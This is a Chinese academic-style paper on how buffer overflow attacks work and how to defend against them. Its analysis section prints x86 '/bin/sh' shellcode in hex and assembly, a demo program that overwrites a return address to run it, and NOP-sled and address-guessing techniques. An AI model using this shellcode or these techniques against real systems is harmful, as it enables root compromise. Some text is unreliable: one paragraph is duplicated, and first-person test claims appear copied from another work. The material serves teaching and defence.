摘 要
随着Internet及相关信息技术的迅速发展,网上的电子商务呈现出极大的增长势头,但是投入的增多意味着风险也随之而来,网络安全问题成为各种网上活动需要考虑的头等大事。
本文重点探讨一下缓冲区溢出对计算机系统造成的危害。因为几十年来,缓冲区溢出一直引起许多严重的安全性问题。近年由CERT/CC(Computer Emergency Response Term/Coodination Center)发布的忠告中关于缓冲区溢出漏洞占56.76%以上。
本文首先解释了缓冲区溢出的概念,从程序语言本身存在缺陷,不够健壮的角度出发,对缓冲区溢出的原理进行了详细的阐述;再次,通过一个会导致缓冲区溢出的程序代码对缓冲区溢出攻击的产生进行了实例分析,同时还对Unix操作系统下的缓冲区溢出攻击进行了有针对性的分析,并总结出缓冲区溢出攻击的类型;最后,结合缓冲区溢出攻击的类型,从系统管理和软件开发两个角度提出了缓冲区溢出攻击的防范策略。
关键字:缓冲区溢出 攻击
Abstract
With the development of Internet and information technology, the great growth has appeared out in E-Commerce. But this trend lead to more venture, network security issue has become the cardinal task that various kinds of online activity need to consider.
At present, the biggest problem on network is that computer software is usually not stalwart enough, sometimes such barrier will cause catastrophic result, especially when being utilized maliciously by the lawless person, the harm will hard to estimate.
Buffer overflow attacking is a seriously problem in network security and cause serious security problems in recently years. Some program language have pestilent bug, for example, C program language doesn’t check the border of the array of number is apt to cause the buffer overflow, and therefore possibly cause the failure of program processing and paralysis of computer.
This paper analysis deeply the principle and possible of buffer overflow attacking, and point out buffer overflow’s potential dangers. At last, according to the kinds of buffer overflow attacking, I put forward my own opinion of precautionary measures on buffer overflow attacking.
Key Words: buffer overflow attacking
一 缓冲区与出的概念及原理
1.1何谓缓冲区溢出
缓冲区是用户为程序运行时在计算机中申请得的一段连续的内存,它保存了给定类型的数据。缓冲区溢出指的是一种常见且危害很大的系统攻击手段,通过向程序的缓冲区写入超出其长度的内容,造成缓冲区的溢出,从而破坏程序的堆栈,使程序转而执行其他的指令,以达到攻击的目的。
1.2缓冲区溢出的原理
从上面的缓冲区溢出概念可以看出,缓冲区溢出就是将一个超过缓冲区长度的字符串置入缓冲区的结果,这是由于程序设计语言的一些漏洞,如C/C++语言中,不对缓冲区、数组及指针进行边界检查,(strcpy()、strcat()、sprintf()、gets()等语句),在程序员也忽略对边界进行检查而向一个有限空间的缓冲区中置入过长的字符串可能会带来两种结果:一是过长的字符串覆盖了相邻的存储单元,引起程序运行失败,严重的可导致系统崩溃;另一种后果是利用这种漏洞可以执行任意指令,甚至可以取得系统特权,由此而引发多种攻击方法。
缓冲区溢出对系统的安全性带来很大的威胁,比如向程序的有限空间的缓冲区中置入过长的字符串,造成缓冲区溢出,从而破坏程序的堆栈,使程序转去执行其他的指令,如果这些指令是放在有Root权限的内存里,那么一旦这些指令得到了运行,入侵者就以Root的权限控制了系统,这也是我们所说的U2R(User to Root Attacks)攻击。例如在Unix系统中,使用一些精心编写的程序,利用SUID程序(如FDFORMAT)中存在的缓冲区溢出错误就可以取得系统超级用户权限,在Unix取得超级用户权限就意味着黑客可以随意控制系统。为了避免这种利用程序设计语言漏洞而对系统的恶意攻击,我们必须要仔细分析缓冲区溢出攻击的产生及类型,从而做出相应的防范策略。
二 缓冲区溢出攻击的分析2.1缓冲区溢出攻击的产生C编程语言中,静态变量分配在数据段中,动态变量分配在堆栈段中,C语言允许程序员在运行时在内存的两个不同部分(堆栈和堆)中创建存储器。通常,分配到堆的数据是那些malloc()或新建时获得的数据,而分配到堆栈的数据一般包括非静态的局部变量和所有按值传递的参数。大部分其它信息存储在全局静态存储器中。一个程序在内存中通常分为程序段、数据段和堆栈三个部分。程序段里为程序的机器码和只读数据,这个段通常是只读代码,故禁止对程序段进行写操作。数据段放的是程序中的静态数据。存储器主要分为三个部分,一是文本区域,即程序区,用来存储程序指令,只读属性;二是数据区域,它的大小可以由brk()系统调用来改变;三是堆栈,其特点是LIFO(last in, first out)。当C程序调用函数的时候,首先将参数压入堆栈,然后保存指令寄存器(IP)中的内容作为返回地址(RET),放入堆栈的是地址寄存器(FP),然后把当前的栈指针(SP)拷贝到FP,作为新的基地址,并为本地变量留出一定的空间,把SP减去适当的数值。计算机执行一条指令,并保留指向下一条指令的指针(IP)。当函数或过程被调用的时候,在堆栈中被保留下来的指令指针将被作为返回地址(RET)。执行完成后,RET替换IP,程序接着继续执行本来的流程。这里有一个直观的缓冲区溢出的小例子:void function(char *str){char buffer[16];strcpy(buffer, str);}Void main(){int I;char buffer[128];for(I=0; I<127; I++)buffer[I]=A;buffer[127]=0;function(buffer);printf(“This is a test.\n”);}在函数function中,将一个128字节长度的字符串拷贝到只有16字节长的局部缓冲区中。在使用strcpy()函数前,没有进行缓冲区边界检查,导致从buffer开始的256个字节都将被*str的内容A覆盖,包括堆栈指针和返回地址,甚至*str都将被A覆盖。再看看堆栈的结构,由于栈式内存分配具有一条指令即可为子程序分配全部局部变量的存储空间的特点,分配和去配的开销极低,高级语言通常在堆栈上分配局部存储空间。同时,堆栈也被用来存放子程序的返回地址。对C语言来说,调用函数的语句f(arg1,arg2,…,argn)被翻译为如下指令:push argn…….push arg1push ncall f而函数的入口则翻译为如下入口指令(在Intel X86上)pushl ebpmov esp,ebpsub esp,m #m为f的局部变量的空间大小在Intel X86体系结构上,堆栈是从上向下生长的,因此调用以上函数时的堆栈结构如图1所示:
高地址 低地址
图1 堆栈结构图例如,调用以下函数时Void f(char *src){ char dest[4]; memcpy(dest, src,12);}堆栈及变量的位置如图2所示:
src |
l |
返回地址 |
ebp |
dest[3] |
dest[2] |
dest[1] |
dest[0] |
高地址 低地址图2 堆栈及位置的变量图从堆栈结构可以看到,当用精心准备好的地址改写返回地址时,即可把控制流程引向自己的代码。C2级操作系统提供了进程空间的隔离机制,因此,利用缓冲区溢出攻击可以在别的进程上下文中执行自己的代码,从而绕过操作系统的安全机制,下面是一个例子:Void main(){ char *str[2]={”/bin/sh”,0}; exec (“/bin/sh”,str,0);}编译后反编译,并加以整理,得到与以上程序等价的机器码:“\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00”
“\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80”
“\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xdl\xff\xff”
“\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3”
事例程序如下:
/ test /
char shellcode[]=
{“\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00”
“\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80”
“\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xdl\xff\xff”
“\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3”};
void f(char *src)
{
char dest[4];
memcpy(dest,src,12);
}
void main()
{
int shellentry[3];
shellentry[0]=(int)shellcode;
shellentry[1]=(int)shellcode;
shellentry[2]=(int)shellcode;
f(shellentry);
}
由以上程序可以看出缓冲区溢出攻击的关键:因为memcpy并不检验边界,所以dest溢出时,使shellcode的地址覆盖了子程序的返回地址,当子程序执行ret指令时,CPU的指令指针寄存器EIP指向shellcode,从而执行shellcode。
这里讨论一个现实中的Unix环境下,利用缓冲区溢出的到一个Shell的行攻击方法的实现。其中,S代表Shellcode,A代表填写的返回地址,由于Shellcode在虚地址的高端,所以这个返回地址(32bit)一般不会含有零字节:
(1) 启动一个一个Shell的代码——Shellcode的获得
通常的获得方法是先用高级语言编写同样功能的程序,然后用调试工具抽取必须的二进制代码。高级语言程序如下:
shellcode.c
#include<stdio.h>
void main()
{
char *name[2];
name[0]=”bin/sh”;
name[1]=NULL;
execve(name[0],name,NULL);
exit(0);
}
把上述程序编译之后,可以用gdb得到上面程序的汇编代码及二进制代码,适当优化后即可得到二进制的Shellcode。
这里要解决的一个问题是,无论Shellcode被装置到内存的什么位置,字符串“/bin/sh”的地址都可以得到。解决方法是在“/bin/sh”之前加一条CALL指令,这样当CALL被执行时,“/bin/sh”的地址将被自动压入堆栈,紧接着用一条popl指令即可获得这个地址。
Shellcode的结构如下:(J代表JMP指令,C代表CALL指令,S代表启动Shell的代码,s代表串“/bin/sh”,A指向Shellcode的起始地址)。
SCO Unix下的Shellcode的汇编代码如下:
Jmp 0x2a # 3 bytes # 跳到CALL指令处
Popl %esi # 1 byte # 把由CALL指令压入堆栈的串 # 地址送到esi
movl %esi, 0x8(%esi) # 3 bytes
movb $0x0, 0x7(%esi) # 4 bytes
movl $0x0, 0xc(%esi) # 7 bytes
movl $0xb, %eax # 5 bytes
movl %esi, %ebx # 2 bytes # 执行execve(name[0],name,NULL);
leal 0x8(%esi) , %ecx # 3 bytes
leal 0xc(%esi) , %edx # 3 bytes
int $0x80 # 2 bytesmovl $0x1,%eax # 5 bytes #执行exit(0)
movl $0x0,%ebx # 5 bytes
int $0x80 # 2 bytes
call –0x2f # 5 bytes #跳到popl %esi指令处
.string \”/bin/sh”\ # 8 bytes
利用gdb的x命令可以得到上述汇编代码的二进制代码。
(2) 猜测被溢出的缓冲区的位置
有了shellcode还不够,在溢出一个缓冲区时,还必须使被溢出的返回地址正确指向shellcode。在Unix环境下,当我们去溢出另外一个程序的没有边界检查的buffer时,通常只会得到一个Segmentation fault(段错误),程序退出,再没有其他信息。这就是由于返回地址不正确引起的。
为了正确获得溢出的缓冲区在堆栈的位置,所以需要推测shellcode的起始位置,即被溢出的缓冲区buffer的位置。Unix环境下,每个进程启动时的初始堆栈的虚存位置时一样的。利用下面的程序可以近似的得到这个位置(在环境变量不同、传入的命令行参数不同时,这个值略有变动):
unsigned long get_esp(void)
{
_asm_(“movl %esp,%eax”);
}
void main(void)
{
printf(“0x%x\n”,get_esp());
}
通常,进程运行时向堆栈中写入的数据不会超过数百个字节或数千个字节,有了这个起始地址,用简单的一个个尝试的方法也是可以攻击的。但显然这不是一种效率高的方法。解决的办法是在缓冲区前端填充几百字节NOP指令,只要猜测的地址落在NOP指令序列中,仍可以执行shellcode,从而成倍地增加猜中的机会。
(3) 攻击代码中字节代码为零的消除
Unix的程序中大量使用了strcpy函数,shellcode中含有0x00,由于通常是攻击一个字符缓冲区,如果攻击代码中含有0,则它会被当成字符串的结尾处理,于是攻击代码被截断。消除的方法是对代码做适当的变换,因此在这里需要使用一些汇编程序设计技巧,把shellcode转换成不含0x00的等价代码。
(4)被攻击的缓冲区很小的情况
当缓冲区太小,可能使NOP部分或shellcode部分覆盖返回地址ret,导致缓冲区起址到返回地址的距离不足以容纳shellcode,这样设定的跳转地址就没有用上,攻击代码不能被正确执行。
一个方法就是利用环境变量。当一个进程启动时,环境变量被映射到进程堆栈空间的顶端。这样就可以把攻击代码(NOP串+Shellcode)放到一个环境变两中,而在被溢出的缓冲区中填上攻击代码的地址。比如,可以把shellcode放在环境变量中,并把环境变量传入到要攻击的程序中,就可以对有缓冲区溢出漏洞的程序进行攻击。利用这样方法,还可以设计很大的攻击代码。
2.2缓冲区溢出攻击的类型
缓冲区溢出的目的在于扰乱具有某些特权运行程序的功能,这样就可以让攻击者取得程序的控制权,如果该程序具有足够的权限,那么整个主机甚至服务器就被控制了。一般而言,攻击者攻击root程序,然后执行类似“exec(sh)”的执行代码来获得root的shell。但并不总是这样,为了达到这个目的,攻击者必须达到如下两个目标:
l 在程序的地址空间里安排适当的代码
l 通过适当地初始化寄存器和存储器,让程序跳转到安排好的地址空间执行。
我们可以根据这两个目标来对缓冲区溢出攻击进行分类。
1.在程序的地址空间里安排适当的代码有两种在被攻击程序地址空间里安排攻击代码的方法:(1) 植入法:
攻击者向被攻击的程序输入一个字符串,程序会把这个字符串放到缓冲区里。这个字符串所包含的数据是可以在这个被攻击的硬件平台运行的指令流。在这里攻击者用被攻击程序的缓冲区来存放攻击代码,具体方式有以下两种差别:
a.攻击者不必为达到此目的而溢出任何缓冲区,可以找到足够的空间来放置攻击代码;
b.缓冲区可设在任何地方:堆栈(存放自动变量)、堆(动态分配区)和静态数据区(初始化或未初始化的数据)。
(2) 利用已经存在的代码
有时候攻击者所要的代码已经存在于被攻击的程序中了,攻击者所要做的只是对代码传递一些参数,然后使程序跳转到想要执行的代码那里。比如,共及代码要求执行“exec(‘bin/sh’)”,而在libc库中的代码执行“exec(arg)”,其中arg是一个指向字符串的指针参数,那么攻击者只要把传入的参数指针改向指向“/bin/sh”,然后调转到libc库中相应的指令序列即可。
2.控制程序转移到攻击代码的方法
所有这些方法都是在试图改变程序的执行流程,使之跳转到攻击代码。其基本特点就是给没有边界检查或有其他弱点的程序送出一个超长的缓冲区,以达到扰乱程序正常执行顺序的目的。通过溢出一个缓冲区,攻击者可以用几乎暴力的方法(穷尽法)改写相邻的程序空间面直接跳过系统的检查。
这里的分类基准是攻击者所寻求的缓冲区溢出的程序空间类型。原则上可以是任意的空间。比如起初的Morris Worm(莫尔斯蠕虫)就是使用了fingerd程序的缓冲区溢出,扰乱fingerd要执行的文件的名字。实际上许多的缓冲区溢出是用暴力的方法来寻求改变程序指针的。这类程序不同的地方就是程序空间的突破和内存空间的定位不同。一般来说,控制程序转移到攻击代码的方法有以下几种:
(1) 函数返回地址
每当一个函数调用发生时,调用者会在堆栈中留下函数返回地址,它包含了函数结束时返回的地址。攻击者通过溢出这些自动变量,使这个返回地址指向攻击代码,这样就通过改变程序的返回地址,当函数调用结束时,程序跳转到攻击者设定的地址,而不是原先的地址。这类的缓冲区进出被称为“stack smashing attack”,是目前常用的缓冲区溢出攻击方式。
(2) 函数指针
“Void(*foo)()”中声明了一个返回值为Void函数指针的变量foo。函数指针定位任何地址空间,所以攻击者只需在任何空间内的函数指针附近找到一个能够溢出的缓冲区,然后溢出来改变函数指针,当程序通过函数指针调用函数时,程序的流程就会发生改变而实现攻击者的目的。
(3) 长跳转缓冲区
在C语言中包含了一个简单的检验/恢复系统,称为“setjmp/longjmp”,意思是在检验点设定“setjmp(buffer)”,用longjmp(buffer)“来恢复检验点。然而,如果攻击时能够进入缓冲区的空间,那么“longjmp(buffer)”实际上是跳转到攻击者的代码。像函数指针一样,longjmp缓冲区能够指向任何地方,所以攻击者所要做的就是找到一个可供溢出的缓冲区。一个典型的例子就是Perl 5.003,攻击者首先进入用来恢复缓冲区溢出的longjmp缓冲区,然后诱导进入恢复模式,这样就使Perl的解释器跳转到攻击代码上了。
3.综合代码植入和流程控制技术
最简单和常见的溢出缓冲区攻击类型就是在一个字符串里综合了代码植入和激活记录。攻击者定位一个可供溢出的自动变量,然后向程序传递一个很大的字符串,在引发缓冲区溢出改变激活记录的同时植入了代码(因为C语言程序员通常在习惯上只为用户和参数开辟很小的缓冲区)。
代码植入和缓冲区溢出不一定要在一次动作内完成,攻击者可以在一个缓冲区内放置代码(这个时候并不能溢出缓冲区),然后攻击者通过溢出另一个缓冲区来转移程序的指针。这样的方法一般用来解决可供溢出的缓冲区不够大(不能放下全部的代码)。如果攻击者试图使用已经常驻的代码而不是从外部植入代码,他们通常必须把代码做为参数。举例说明,在libc(几乎所有的C程序都用它来连接)中的一部分代码段会执行“exec(something)”,其中的something就是参数,攻击者使用缓冲区溢出改变程序的参数,然后利用另一个缓冲区溢出,使程序指针指向libc中的特定的代码段。三 缓冲区溢出攻击的防范策略
缓冲区溢出攻击的防范是和整个系统的安全性分不开的。如果整个网络系统的安全设计很差,则遭受缓冲区溢出攻击的机会也大大增加。针对缓冲区溢出,我们可以采取多种防范策略。
1.系统管理上的防范策略
(1) 关闭不需要的特权程序
由于缓冲区溢出只有在获得更高的特权时才有意义,所以带有特权的Unix
下的suid程序和Windows下由系统管理员启动的服务进程都经常是缓冲区溢出攻击的目标。这时候,关闭一些不必要的特权程序就可以降低被攻击的风险。如Solaris下的fdformat是个有缓冲区溢出漏洞的suid程序,因为这个格式化软盘的命令用的较少,最直接的措施是去掉这个程序或者去掉suid位。当有缓冲区溢出漏洞的程序还没有补丁时,就可以用这种方法。
(2) 及时给程序漏洞打补丁
这是漏洞出现后最迅速有效的补救措施。大部分的入侵是利用一些已被公布的漏洞达成的,如能及时补上这些漏洞,无疑极大的增强了系统抵抗攻击的能力。
这两种措施对管理员来说,代价都不是很高,但能很有效地防止住大部分的攻击企图。
2.软件开发过程中的防范策略
发生缓冲区溢出的主要及各要素是:数组没有边界检查而导致的缓冲区溢出;函数返回地址或函数指针被改变,使程序流程的改变成为可能;植入代码被成功的执行等等。
所以针对这些要素,从技术上我们就可以采取一定的措施。
(1)编写正确的代码
只要我们在所有拷贝数据的地方进行数据长度和有效性的检查,确保目标缓冲区中数据不越界并有效,则就可以避免缓冲区溢出,更不可能使程序跳转到恶意代码上。但是诸如C/C++自身是一种不进行强类型和长度检查的一种程序设计语言,而程序员在编写代码时由于开发速度和代码的简洁性,往往忽视了程序的健壮性,从而导致缓冲区溢出,因此我们必须从程序语言和系统结构方面加强防范。
很多不安全程序的出现是由于调用了一些不安全的库函数,这些库函数往往没有对数组边界进行检查。这些函数有strcpy()、sprintf()、strcat()等,所以一种简单的方法是利用grep搜索源程序,找出对这些函数的调用,然后代以更安全的函数,如strncpy()替换strcpy()。进一步的查找可以是检查更广范围的不安全操作,如在一个不定循环中对数组的赋值等。
可用的另一种措施是漏洞探测。利用一些工具,人为随机地产生一些缓冲区溢出来寻找代码的安全漏洞。已有这方面的一些高级的查错工具,如fault injection等。
(2)缓冲区不可执行
通过使被攻击程序的数据段地址空间不可执行,从而使得攻击者不可能执行被植入被攻击程序输入缓冲区的代码,这种技术被称为缓冲区不可执行技术。事实上,很多老的Unix系统都是这样设计的,但是近来的Unix和MS Windows系统为实现更好的性能和功能,往往在数据段中动态地放入可执行的代码。所以为了保持程序的兼容性不可能使得所有程序的数据段不可执行。但是我们可以设定堆栈数据段不可执行,这样就可以最大限度地保证了程序的兼容性。Linux和Solaris都发布了有关这方面的内核补丁。因为几乎没有任何合法的程序会在堆栈中存放代码,这种做法几乎不产生任何兼容性问题。
通过使被攻击程序的数据段地址空间不可执行,从而使得攻击者不可能执行被殖入被攻击程序输入缓冲区的代码,这种技术被称为非执行的缓冲区技术。事实上,很多老的Unix系统都是这样设计的,但是近来的Unix和MS Windows系统由于实现更好的性能和功能,往往在在数据段中动态地放入可执行的代码。所以为了保持程序的兼容性不可能使得所有程序的数据段不可执行。
Linux和Solaris也发布了有关这方面的内核补丁。因为几乎没有任何合法的程序会在堆栈中存放代码,这种做法几乎不产生任何兼容性问题,除了在Linux中的两个特例,这时可执行的代码必须被放入堆栈中:a.信号传递:
Linux通过向进程堆栈释放代码然后引发中断来执行在堆栈中的代码来实现向进程发送Unix信号。非执行缓冲区的补丁在发送信号的时候是允许缓冲区可执行的。
b.GCC的在线重用:
研究发现gcc在堆栈区里放置了可执行的代码作为在线重用之用。然而,关闭这个功能并不产生任何问题,只有部分功能似乎不能使用。
非执行堆栈的保护可以有效地对付把代码植入自动变量的缓冲区溢出攻击,而对于其他形式的攻击则没有效果。通过引用一个驻留的程序的指针,就可以跳过这种保护措施。其他的攻击可以采用把代码殖入堆或者静态数据段中来跳过保护。
(3)改进C语言函数库
C语言中存在缓冲区溢出攻击隐患的系统函数有很多。例如gets(),sprintf(),strcpy(),strcat(),fscanf(),scanf(),vsprintf()等。可以开发出更安全的封装了若干已知易受堆栈溢出攻击的库函数。修改后的库函数实现了原有功能,但在某种程度上可以确保任一缓冲区溢出都被控制在现有堆栈帧之内。
(4)数组边界检查
可以说缓冲区溢出的根本原因是没有数组边界检查,当数组被溢出的时候,一些关键的数据就有可能被修改,比如函数返回地址、过程帧指针、函数指针等。同时,攻击代码也可以被植入。
因此,对数组进行边界检查,使超长代码不可能植入,这样就完全没有了缓冲区溢出攻击产生的条件。只要数组不能被溢出,溢出攻击就无从谈起。
为了实现数组边界检查,则所有的对数组的读写操作都应当被检查,以确保对数组的操作在正确的范围内。最直接的方法是检查所有的数组操作,但是会使性能下降很多,通常可以采用一些优化的技术来减少检查的次数。
(5)使堆栈向高地址方向增长
缓冲区溢出的一个重要要素是植入的代码成功地被执行。最常见的是被植入的代码放在堆栈区中。通过修改操作系统核心,在核心层引入保护机制,限制代码在堆栈区的执行,这样,缓冲区溢出攻击就不可能成功。
到目前为止,我们讨论利用函数返回地址控制程序转移到攻击代码的攻击方法时,有一个基本的前提,那就是当堆栈被压入数据时,栈顶向低地址方向增长,只有这样,缓冲区溢出时才可能覆盖低地址处的函数返回地址指针,从而控制程序转移到攻击代码。如果我们使用的机器堆栈压入数据时向高地址方向前进,那么无论缓冲区如何溢出,都不可能覆盖低地址处的函数返回地址指针,也就避免了缓冲区溢出攻击。但是这种方法仍然无法防范利用堆和静态数据段的缓冲区进行溢出的攻击。
(6)程序指针完整性检查
程序指针完整性检查是针对上述缓冲区溢出的另一个要素——阻止由于函数返回地址或函数指针的改变而导致的程序执行流程的改变。它的原理是在每次
在程序指针被引用之前先检测该指针是否已被恶意改动过,如果发现被改动,程序就拒绝执行。
因此,即使一个攻击者成功地改变程序的指针,由于系统事先检测到了指针的改变,因此这个指针不会被使用。与数组边界检查相比,这种方法不能解决所有的缓冲区溢出问题。但这种方法在性能上有很大的优势,而且兼容性也很好。
程序指针完整性检查大体上有三个研究方向:第一,手写的堆栈检测;第二,堆栈保护;第三,保护指针。在手写的堆栈检测中会介绍Snarskii为FreeBSD开发了一套定制的能通过监测cpu堆栈来确定缓冲区溢出的libc。在堆栈保护中会介绍我们自己的堆栈保护方法所开发的一个编译器,它能够在函数调用的时候自动生成完整性检测代码。最后在保护指针中介绍正在开发中的指针保护方法,这种方法类似于堆栈保护,它提供对所有程序指针的完整性的保护。
1)手写的堆栈监测
Snarskii为FreeBSD开发了一套定制的能通过监测cpu堆栈来确定缓冲区溢出的libc。这个应用完全用手工汇编写的,而且只保护libc中的当前有效纪录函数。这个应用达到了设计要求,对于基于libc库函数的攻击具有很好的防卫,但是不能防卫其它方式的攻击。2)堆栈保护:编译器生成的有效纪录完整性检测
堆栈保护是一种提供程序指针完整性检查的编译器技术,通过检查函数活动纪录中的返回地址来实现。堆栈保护作为gcc的一个小的补丁,在每个函数中,加入了函数建立和销毁的代码。加入的函数建立代码实际上在堆栈中函数返回地址后面加了一些附加的字节,如图2示。而在函数返回时,首先检查这个附加的字节是否被改动过。如果发生过缓冲区溢出的攻击,那么这种攻击很容易在函数返回前被检测到。
但是,如果攻击者预见到这些附加字节的存在,并且能在溢出过程中同样地制造他们,那么他就能成功地跳过堆栈保护的检测。通常,我们有如下的两种方案对付这种欺骗:
a.终止符号:
利用在C语言中的终止符号如0(null),CR,LF,-1(EOF)等不能在常用的字符串函数中使用,因为这些函数一旦遇到这些终止符号,就结束函数过程了。
b.随机符号:
利用一个在函数调用时产生的一个32位的随机数来实现保密,使得攻击者不可能猜测到附加字节的内容。而且,每次调用,附加字节的内容都在改变,也无法预测。
通过检查堆栈的完整性的堆栈保护法是从Synthetix方法演变来的。Synthetix方法通过使用准不变量来确保特定变量的正确性。这些特定的变量的改变是程序实现能预知的,而且只能在满足一定的条件才能可以改变。这种变量我们称为准不变量。Synthetix开发了一些工具用来保护这些变量。攻击者通过缓冲区溢出而产生的改变可以被系统当做非法的动作。在某些极端的情况下,这些准不变量有可能被非法改变,这是就需要堆栈保护来提供更完善的保护了。
实验的数据表明,堆栈保护对于各种系统的缓冲区溢出攻击都有很好的保护作用,并能保持较好的兼容性和系统性能。早先我们报告的堆栈保护所能抑制的漏洞都在表一中列出。随后,我们用堆栈保护的方法重新构造了一个完整的Linux系统(Red Hat5.1)。然后我们用XFree86-3.3.2-5和lsof的漏洞对此进行了攻击,结果表明,这个系统有效地抵御了这些攻击。这些分析表明,堆栈保护能有效抵御现在的和将来的基于堆栈的攻击。
堆栈保护版本的Red Hat Linux 5.1已经在各种系统上运行了多年,包括个人的笔记本电脑和工作组文件服务器。从我们的Web服务器上可以得到这个版本,而且在我们的邮件列表里已经有了55个成员。出了仅有的一次例外,这个系统和本来的系统工作完全一样,这表明堆栈保护并不对系统的兼容性构成很大的影响。
我们已经用各种性能测试来评测堆栈保护的性能。Mircobenchmarks的结果表明在函数的调用,堆栈保护中增加了系统的开销。而在网络的测试中(需要用到堆栈保护的地方),则表明这种开销不是很大。
我们的第一个测试对象是SSH,它提供了极强的加密和认证,用来替代Berkeley的r系列指令。SSH使用了软件加密,因此系统的占用的带宽不大,我们用网络间复制一个大的文件来测试带宽:
scp bigsource localhost:bigdest
测试结果表明:堆栈保护几乎不影响SSH的网络吞吐性能。
第二个测试使用了Apache Web服务器。如果这种服务器存在基于堆栈的攻击,那么攻击者就可以轻易地取得Web服务器的控制权,允许攻击者阅读隐秘的内容和肆意篡改主页的内容。同时,Web服务器也是对性能和带宽要求较高的一个服务器部件。
我们用WebStone对带有和不带堆栈保护的Apache Web服务器进行了测试,测试的结果在表二中列出。
和SSH一样,他们的性能几乎没有区别。在客户数目较少的情况下,带有保护的服务器性能比不带保护的略微好些,在客户端数目多的时候,不带保护的性能好些。在最坏的情况下,带保护的服务器比不带保护的要差8%的连接性能,而在平均延时上保持优势。象以前一样,我们把这些归结为噪声的影响。因此,我们的结论是:堆栈保护对Web服务器系统性能没有重大的影响。3)指针保护:编译器生成程序指针完整性检查
在堆栈保护设计的时候,冲击堆栈构成了缓冲区溢出攻击的常见的一种形式。有人推测存在一种模板来构成这些攻击(在1996年的时候)。从此,很多简单的漏洞被发现,实施和补丁了,很多攻击者开始用在第二部分中描述的更一般的方法实施缓冲区溢出攻击。
指针保护是堆栈保护针对这种情况的一个推广。通过在所有的代码指针之后放置附加字节来检验指针在被调用之前的合法性。如果检验失败,会发出报警信号和退出程序的执行,就如同在堆栈保护中的行为一样。这种方案有三点需要注意:
a.附加字节的定位:
附加字节的空间是在被保护的变量被分配的时候分配的,同时在被保护字节初始化过程中被初始化。这样就带来了问题;为了保持兼容性,我们不想改变被保护变量的大小,因此不能简单地在变量的结构定义中加入附加字。还有,对各种类型也有不同附加字节数目。
b.检查附加字节:
每次程序指针被引用的时候都要检查附加字节的完整性。这个也存在问题;因为“从存取器读”在编译器中没有语义;编译器更关心指针的使用,而各种的优化算法倾向于从存储器中读入变量。
c.还有随着不同类型的变量,读入的方法也各自不同。
已经开发的指针保护的一个原型(还是基于gcc的),通过附加字节来保护静态分配的函数指针,但不适用于结构和数组类型。这个计划还远没有完成。一旦这个项目完成了,那么用它和堆栈保护构成的可执行代码将不会受到缓冲区溢出的攻击了。
目前为止,只有很少一部分使用非指针变量的攻击能逃脱指针保护的检测。但是,可以通过在编译器上强制对某一变量加入附加字节来实现检测,这时需要程序员自己手工加入相应的保护了。
(7)利用编译器将静态数据段中的函数地址指针存放地址和其他数据的存放地址分离
我们知道缓冲区溢出的一个基本条件是在缓冲区的高地址附近存放着可供溢出覆盖的函数地址指针,如果我们破坏了这一条件,就会使缓冲区溢出不能覆盖函数地址指针。比如,我们可以假定编译器在编译程序时会将静态数据段中的函数地址指针存放地址和其他数据的存放地址隔开相当大的一段距离,例如数10M,数100M,这样才会迫使攻击者只有送入长的出乎想象数据才能抵达函数地址指针存放地址并覆盖它,以这样的不可操作性来制止攻击者实现攻击意图。另外,我们还可以使这两种数据段间的线形地址空间不分配物理地址并设置为不可读写,这些都可以通过硬件实现,这样每当缓冲区溢出进入这段区域,就会出现地址保护错误,从而阻止了缓冲区溢出攻击。
另外一种较为简洁的方法是始终保持使静态数据段中的函数地址指针存放地址低于其他数据的存放地址。但是这个方法仅仅是防止了静态数据段中的缓冲区溢出攻击,而不能避免堆的缓冲区溢出攻击,因为编译器和操作系统并不知道用户申请的内存是用来存放函数地址指针还是其他数据,从而无法为其隔离分配内存。表1是针对静态数据段、堆栈和堆的缓冲区溢出的防范策略,其中没有把边界检查包括在内,因为它能有效地防止所有的缓冲区溢出,但其运行开销也是惊人的。表的最上面一行是攻击代码所植入的内存空间,表的最左面一列是溢出方法,而中间单元就是相应的防范策略。
表1 缓冲区溢出的防范策略
| 堆栈(Stack Buffer) | 堆(Heap Buffer) | 静态数据段(Static Buffer) |
活动记录 | 堆栈保护非执行的缓冲区 | 堆栈保护 | 堆栈保护 |
函数指针 | 指针保护非执行的缓冲区 | 指针保护 | 指针保护 |
长跳转缓冲区 | 指针保护非执行的缓冲区 | 指针保护 | 指针保护 |
其它变量 | 手工的指针保护非执行的缓冲区 | 手工的指针保护 | 手工的指针保护 |
为了防止静态数据段、堆栈和堆这三种数据段中的一个缓冲区溢出覆盖另一个段中的函数地址指针,我们应该为这三种数据段隔离分配线形地址空间。
四 总结
缓冲区溢出是当今很流行的一种网络攻击方法,它易于攻击而且危害严重,给系统的安全带来了极大的隐患。因此,如何及时有效地检测出计算机网络系统入侵行为,已越来越成为网络安全管理的一项重要内容。缓冲区溢出的漏洞一般有以下几种情况:
(1) 系统漏洞
如操作系统、服务器程序、数据库程序等,这种漏洞可以通过升级软件、打安全“补丁”等方法来解决。
(2) 应用软件
在软件开发过程中,如果程序员没有很强的安全意识和良好的编程习惯,也会产生很多安全漏洞。
本文从上面的系统环境及程序设计语言角度,对目前主要的网络攻击方式:缓冲区溢出攻击的出现和原理进行了详细的分析,并根据缓冲区溢出攻击的类型提出了相应的防范策略。
然而,飞速发展的网络技术还需要我们继续对各种黑客攻击系统的方法做更多的关注和应付措施的探索,为网络安全做出更大的实践意义的研究。
参考文献
[1] 张小斌,严望佳,黑客分析与防范技术[M] 北京清华大学出版社,1999。
[2] 陈意云 编译原理和技术[M],合肥,中国科技大学出版社,1997。
[3] 汪立东,方滨兴,Unix缓冲区溢出攻击:技术原理、防范与检测,计算机工程与应用,2000(2)。
[4]谭毓安,网络攻击防护编码设计,北京希望电子出版社,2002。
[5]www.nsfocus.com转贴于 中国论文下载中心 http://paper.studa.com
